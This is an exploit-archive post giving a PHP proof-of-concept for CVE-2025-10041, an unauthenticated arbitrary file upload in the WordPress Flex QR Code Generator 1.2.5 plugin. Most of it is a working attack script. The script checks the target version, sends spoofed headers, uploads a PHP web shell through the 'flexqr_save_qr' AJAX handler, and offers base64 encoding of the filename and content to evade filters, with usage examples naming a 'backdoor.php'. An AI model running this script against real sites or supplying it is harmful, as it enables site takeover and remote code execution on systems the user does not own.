============================================================================================================================================= | # Title : WordPress Flex QR Code Generator 1.2.5 - Unauthenticated Remote Code Execution via Arbitrary File Upload | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/flex-qr-code-generator/ | ============================================================================================================================================= POC : [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10041 https://packetstorm.news/files/id/210541/ https://wpscan.com/vulnerability/12347 [+] Summary A critical security vulnerability exists in the WordPress Flex QR Code Generator plugin version 1.2.5. The vulnerability allows unauthenticated attackers to upload arbitrary PHP files through the QR code creation functionality, leading to remote code execution and complete compromise of the WordPress installation. The vulnerability exists in the QR code creation functionality of the Flex QR Code Generator plugin. The 'flexqr_save_qr' AJAX handler lacks proper file type validation and authentication checks, allowing attackers to: 1. Bypass authentication completely 2. Upload arbitrary PHP files as QR code logos 3. Execute the uploaded files with web server privileges 4. Achieve remote code execution [+] Usage: Usage: php poc.php -u https://example.com [+] POC : userAgents[array_rand($this->userAgents)], "Accept: */*", "Connection: close", "Referer: " . $this->referers[array_rand($this->referers)], "Cookie: wp_nonce=" . rand(100000, 999999) . "; test=" . rand(1, 9999) ]; if ($customHeaders) { $headers = array_merge($headers, $customHeaders); } return $headers; } public function getReadmeVersion($targetUrl, $headers) { $url = rtrim($targetUrl, '/') . "/wp-content/plugins/flex-qr-code-generator/readme.txt"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_HTTPHEADER => $headers, CURLOPT_TIMEOUT => 10, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode === 200 && strpos($response, "Version: 1.2.5") !== false) { return true; } return false; } public function encodeFilename($filename, $method) { if ($method === "base64") { $encoded = base64_encode($filename); return rtrim(strtr($encoded, '+/', '-_'), '='); } elseif ($method === "url") { return urlencode($filename); } return $filename; } public function encodeContent($content, $method) { if ($method === "base64") { $encoded = base64_encode($content); return ""; } return $content; } public function createShellFile($shellName, $shellCode = null, $encodeContentMethod = null) { $shellContent = $shellCode ?: ""; if ($encodeContentMethod) { $shellContent = $this->encodeContent($shellContent, $encodeContentMethod); } if (file_put_contents($shellName, $shellContent) !== false) { return $shellName; } throw new Exception("Failed to create shell file: " . $shellName); } public function buildPayload($shellName, $qrName, $qrDesc, $qrData, $isTracking) { $qrJson = [ "qrName" => $qrName, "qrDesc" => $qrDesc, "qrData" => $qrData ]; $payload = [ "action" => "flexqr_save_qr", "qrData" => str_replace("'", '"', json_encode($qrJson)), "isTrackingEnabled" => $isTracking ? "true" : "false" ]; return $payload; } public function uploadShell($targetUrl, $payload, $shellName, $headers, $retries = 3) { $url = rtrim($targetUrl, '/') . "/wp-admin/admin-ajax.php"; if (!file_exists($shellName)) { throw new Exception("Shell file not found: " . $shellName); } $postData = $payload; $postData['logo'] = new CURLFile($shellName); for ($attempt = 0; $attempt < $retries; $attempt++) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_HTTPHEADER => $headers, CURLOPT_TIMEOUT => 15, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ]); $response = curl_exec($ch); $error = curl_error($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if (!$error) { return [ 'success' => true, 'response' => $response, 'http_code' => $httpCode ]; } echo "Upload error (try " . ($attempt + 1) . "): " . $error . "\n"; sleep(rand(1, 3)); } return [ 'success' => false, 'error' => 'All upload attempts failed' ]; } public function extractUploadedName($shellName, $responseJson) { try { if (isset($responseJson['data']['id'])) { $insertedId = $responseJson['data']['id']; $pathInfo = pathinfo($shellName); $finalName = $pathInfo['filename'] . '_' . $insertedId . '.' . $pathInfo['extension']; return $finalName; } } catch (Exception $e) { // Ignore extraction errors } return null; } public function isSuccessful($response) { try { $json = json_decode($response, true); if (isset($json['success']) && $json['success'] === true) { if (isset($json['data']['message']) && strpos($json['data']['message'], 'QR code saved successfully') !== false) { return [true, $json]; } } } catch (Exception $e) { // JSON decode failed } return [false, null]; } public function execute($args) { $headers = $this->randomHeaders($args['headers'] ?? null); $this->printWait("Checking vulnerability version..."); if (!$this->getReadmeVersion($args['url'], $headers)) { echo "Target is not vulnerable.\n"; exit(0); } echo "Target is vulnerable ...\n"; $this->printWait("Exploiting ..."); $shellName = $args['shellname'] ?? 'shell.php'; if (isset($args['encode_filename'])) { $shellNameEncoded = $this->encodeFilename($shellName, $args['encode_filename']); echo "[*] Filename encoded: $shellName -> $shellNameEncoded\n"; $shellName = $shellNameEncoded; } $this->createShellFile($shellName, null, $args['encode_content'] ?? null); $this->printWait("Uploading shell '$shellName' ..."); $payload = $this->buildPayload( $shellName, $args['qr_name'] ?? 'shell', $args['qr_desc'] ?? 'bypass', $args['qr_data'] ?? 'https://evil.com', $args['is_tracking'] ?? false ); $uploadResult = $this->uploadShell($args['url'], $payload, $shellName, $headers); if (!$uploadResult['success']) { echo "Upload failed: " . $uploadResult['error'] . "\n"; exit(1); } list($success, $json) = $this->isSuccessful($uploadResult['response']); if ($success) { $uploadedName = $this->extractUploadedName($shellName, $json); echo "Shell uploaded successfully.\n"; echo "Shell path (guess): /wp-content/uploads/" . ($uploadedName ?: 'unknown') . "\n"; echo "Response: " . json_encode($json, JSON_PRETTY_PRINT) . "\n"; } else { echo "Upload unsuccessful.\n"; echo "Response: " . $uploadResult['response'] . "\n"; } // Cleanup local shell file if (file_exists($shellName)) { unlink($shellName); } } } // Command line interface if (php_sapi_name() === 'cli') { $options = getopt("u:", [ "url:", "shellname:", "qr_name:", "qr_desc:", "qr_data:", "is_tracking:", "encode_filename:", "encode_content:", "help" ]); if (isset($options['help']) || !isset($options['url'])) { echo "CVE-2025-10041 Exploit - Flex QR Code Generator\n"; echo "Usage: php exploit.php -u [options]\n\n"; echo "Options:\n"; echo " -u, --url Target URL (required)\n"; echo " --shellname Shell filename (default: shell.php)\n"; echo " --qr_name QR name (default: shell)\n"; echo " --qr_desc QR description (default: bypass)\n"; echo " --qr_data QR data (default: https://evil.com)\n"; echo " --is_tracking Tracking enabled (default: false)\n"; echo " --encode_filename Encode filename (base64, url)\n"; echo " --encode_content Encode PHP content (base64)\n"; echo " --help Show this help\n\n"; echo "Examples:\n"; echo " php exploit.php -u https://example.com\n"; echo " php exploit.php -u https://example.com --shellname backdoor.php --encode_filename base64\n"; echo " php exploit.php -u https://example.com --encode_content base64\n"; exit(0); } $args = [ 'url' => $options['u'] ?? $options['url'], 'shellname' => $options['shellname'] ?? 'shell.php', 'qr_name' => $options['qr_name'] ?? 'shell', 'qr_desc' => $options['qr_desc'] ?? 'bypass', 'qr_data' => $options['qr_data'] ?? 'https://evil.com', 'is_tracking' => isset($options['is_tracking']) ? filter_var($options['is_tracking'], FILTER_VALIDATE_BOOLEAN) : false, 'encode_filename' => $options['encode_filename'] ?? null, 'encode_content' => $options['encode_content'] ?? null ]; $exploit = new FlexQRExploit(); $exploit->execute($args); } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================